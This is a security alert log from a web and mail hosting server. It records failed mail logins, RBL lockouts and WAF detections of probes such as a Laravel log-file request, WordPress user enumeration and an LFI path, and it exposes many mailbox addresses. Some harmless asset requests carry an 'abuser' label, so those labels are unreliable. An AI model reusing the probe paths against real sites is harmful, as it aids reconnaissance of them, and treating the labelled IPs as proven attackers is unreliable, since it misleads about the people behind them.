abuser: 41.201.242.82
country_id: 2589581
description:
2026-01-21 01:58:20 H=([41.201.242.82]) [41.201.242.82]:26268 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.244.109.33
country_id: 357994
description:
2026-01-21 01:58:25 H=([45.244.109.33]) [45.244.109.33]:13160 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.134
country_id: 2782113
description:
2026-01-21 01:58:36 dovecot_login authenticator failed for H=(localhost) [156.146.60.134]:34614: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.201.242.82
country_id: 2589581
description:
2026-01-21 01:59:01 H=([41.201.242.82]) [41.201.242.82]:26341 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.244.109.33
country_id: 357994
description:
2026-01-21 01:59:12 H=([45.244.109.33]) [45.244.109.33]:13179 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 128.203.204.124
country_id: 6251999
description:
Jan 21 01:59:42 sv3 pure-ftpd[2113610]: (?@128.203.204.124) [INFO] New connection from 128.203.204.124


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.134
country_id: 2782113
description:
2026-01-21 02:00:25 dovecot_login authenticator failed for H=(localhost) [156.146.60.134]:25638: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.134
country_id: 2782113
description:
2026-01-21 02:01:23 dovecot_login authenticator failed for H=(localhost) [156.146.60.134]:29293: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.150.183
country_id: 1733045
description:
[2026-01-21 02:02:03 +0800] info [webmaild] 161.142.150.183 - s-osada@mckd.com.my "GET /cpsess9981295866/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 135.119.89.109
country_id: 6252001
description:
Jan 21 02:04:11 sv3 pure-ftpd[2116427]: (?@135.119.89.109) [INFO] New connection from 135.119.89.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.176
country_id: 3469034
description:
Jan 21 02:05:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.227.50.88
country_id: 3895114
description:
2026-01-21 02:05:27 H=([45.227.50.88]) [45.227.50.88]:15212 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.227.50.88
country_id: 3895114
description:
2026-01-21 02:06:15 H=([45.227.50.88]) [45.227.50.88]:15634 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.143.224.121
country_id: 2542007
description:
2026-01-21 02:07:32 H=([41.143.224.121]) [41.143.224.121]:52187 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.20
country_id: 241170
description:
Jan 21 02:07:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.227.50.88
country_id: 3895114
description:
2026-01-21 02:06:57 H=([45.227.50.88]) [45.227.50.88]:15714 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.162.163
country_id: 298795
description:
Jan 21 02:08:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.162.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 02:08:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.162.163
country_id: 298795
description:
2026-01-21 02:08:24 dovecot_login authenticator failed for H=([5.11.162.163]) [5.11.162.163]:39029: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.143.224.121
country_id: 2542007
description:
2026-01-21 02:08:13 H=([41.143.224.121]) [41.143.224.121]:52595 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.143.224.121
country_id: 2542007
description:
2026-01-21 02:09:35 H=([41.143.224.121]) [41.143.224.121]:52645 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.160.160.236
country_id: 357994
description:
2026-01-21 02:09:38 H=([197.160.160.236]) [197.160.160.236]:26634 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.248
country_id: 3469034
description:
Jan 21 02:10:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.244.86.135
country_id: 357994
description:
2026-01-21 02:10:34 H=([197.160.160.236]) [45.244.86.135]:26971 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.188.28.122
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=65491515725885 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 02:13:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 02:13:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.10
country_id: 3469034
description:
Jan 21 02:15:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-21 02:15:05 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:12549: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 02:18:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.43.59
country_id: 3469034
description:
Jan 21 02:19:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.43.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.65.1.10
country_id: 3932488
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/auntautumn/19/1902221 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.163.28
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=306191 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-21 02:30:34 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:46376: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 02:30:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.216.66
country_id: 1269750
description:
Jan 21 02:30:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.216.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 02:31:04 H=([45.144.212.242]) [45.144.212.242]:56787 F=<lynnied@mhtc.net> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.33
country_id: 1269750
description:
Jan 21 02:31:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.180.247
country_id: 3658394
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/fiber-optic HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.173.22.111
country_id: 3469034
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/new-title.php?id=400763&title=HOTSPOT!!! OUTDOOR LED DISPLAY @ JOHOR HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.225
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/plugins.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.195
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/inspiro-icons92ed.ttf?ijzgpf HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.234
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.159.26
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:visoftcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 02:35:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.111.225.224
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/high/18/43/1830260 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.108.104
country_id: 1562822
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/product/Barb Wire.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.43.50.89
country_id: 2963597
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=90811514857767 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.195.73.45
country_id: 3469034
description:
Jan 21 02:37:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.195.73.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.196
country_id: 3469034
description:
Jan 21 02:37:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.56.235.180
country_id: 285570
domain: www.modern.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.my/wp-content/uploads/Reseller-Newsletter-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.56.235.180
country_id: 285570
domain: www.modern.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.myhttp/www.modern.com.my/wp-content/uploads/Reseller-Newsletter-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 02:39:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jan 21 02:43:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.215
country_id: 3175395
description:
Jan 21 02:43:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.215 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.103.178.131
country_id: 1522867
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/assets/img/product/V Shape Fence.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.10.31.238
country_id: 719819
description:
Jan 21 02:46:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.10.31.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.118
country_id: 3865483
description:
Jan 21 02:47:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 194.99.27.185
country_id: 6252001
domain: www.saps.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.64||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.118
country_id: 3865483
description:
Jan 21 02:48:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-21 02:50:10 H=([94.156.152.18]) [94.156.152.18]:61937 F=<patrick.berger@huawei.com> rejected RCPT <vincenttan@euratech.com.my>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 02:52:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.65.41.56
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/watch/12/530/1280126 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 02:55:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 02:57:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.163.67
country_id: 1269750
domain: medinova.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/medinova.com.my/images/result04.gif HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.243.8
country_id: 3175395
description:
Jan 21 02:59:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.243.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.243.8
country_id: 3175395
description:
Jan 21 03:00:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.243.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 03:00:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 21 03:01:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:01:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.5.40.17
country_id: 3895114
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/news.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.185
country_id: 2510769
description:
Jan 21 03:10:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.229
country_id: 3865483
description:
Jan 21 03:10:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.107.214.145
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/sky/511/317462 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.28
country_id: 1733045
description:
2026-01-21 03:11:01 dovecot_login authenticator failed for H=([49.124.153.28]) [49.124.153.28]:47782: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.153.28
country_id: 1733045
description:
Jan 21 03:10:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.153.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.105.232
country_id: 1269750
description:
Jan 21 03:14:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.105.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:14:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 03:15:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.248.107.130
country_id: 1269750
description:
Jan 21 03:19:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.248.107.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.248.107.130
country_id: 1269750
description:
2026-01-21 03:19:09 dovecot_login authenticator failed for H=([115.244.235.242]) [117.248.107.130]:40838: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 03:19:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 21 03:20:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-21 03:20:12 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:40851: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.28.31.161
country_id: 690791
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/TestSessionListener.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:23:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.227.81
country_id: 3865483
description:
Jan 21 03:25:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.227.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 182.96.54.236
country_id: 1814991
domain: www.manforce.net
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/plus/download.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.218
country_id: 2300660
description:
Jan 21 03:26:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.6.155
country_id: 953987
description:
Jan 21 03:28:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.6.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 21 03:29:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-21 03:29:43 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:52625: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.105.214.48
country_id: 3865483
description:
Jan 21 03:29:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.105.214.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
country_id: 6252001
description:
Jan 21 03:29:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-21 03:29:40 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:38386: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.138.253
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.138.253
country_id: 1562822
domain: www.lvconsult.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.myhttp/www.lvconsult.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 03:36:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 03:38:50 H=([45.144.212.242]) [45.144.212.242]:64762 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <marina@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 03:41:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.69.174.47
country_id: 290291
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13701514857901 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.121.94.22
